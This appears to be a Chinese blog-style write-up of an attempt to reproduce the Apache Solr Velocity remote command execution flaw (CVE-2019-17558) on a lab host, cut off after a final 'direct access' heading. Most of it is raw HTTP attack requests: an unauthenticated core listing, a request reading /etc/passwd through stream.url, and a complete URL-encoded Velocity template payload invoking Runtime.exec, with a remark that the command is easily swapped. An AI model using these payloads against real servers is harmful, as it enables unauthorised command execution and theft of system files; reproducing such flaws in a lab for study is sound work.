Apache Solr Velocity远程命令执行漏洞(CVE-2019-17558)复现尝试
参考链接:https://blog.csdn.net/qq_43645782/article/details/107169228
https://blog.csdn.net/qq_45066095/article/details/112132748?utm_medium=distribute.pc_relevant.none-task-blog-2defaultBlogCommendFromMachineLearnPai2default-4.control&dist_request_id=1330147.8492.16180439489910651&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2defaultBlogCommendFromMachineLearnPai2default-4.control
https://vulhub.org/#/environments/solr/CVE-2019-17558/
Solr未授权访问:
通过以下API获取所有内核名称:
http://192.168.3.5:8983/solr/admin/cores?indexInfo=false&wt=json
查看配置文件:
http://192.168.3.5:8983/solr/demo/config
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: 192.168.3.5:8983
User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
查看/etc/passwd
POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.3.5:8983
User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
stream.url=file:///etc/passwd
通过Velocity模板执行ifconfig命令无反应,修改exec(%27whoami%27)中的代码即可更改命令:
POST /solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ifconfig%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: http://192.168.3.5:8983
User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Mobile Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.3.5:8983/solr/
Content-Length: 0
直接访问: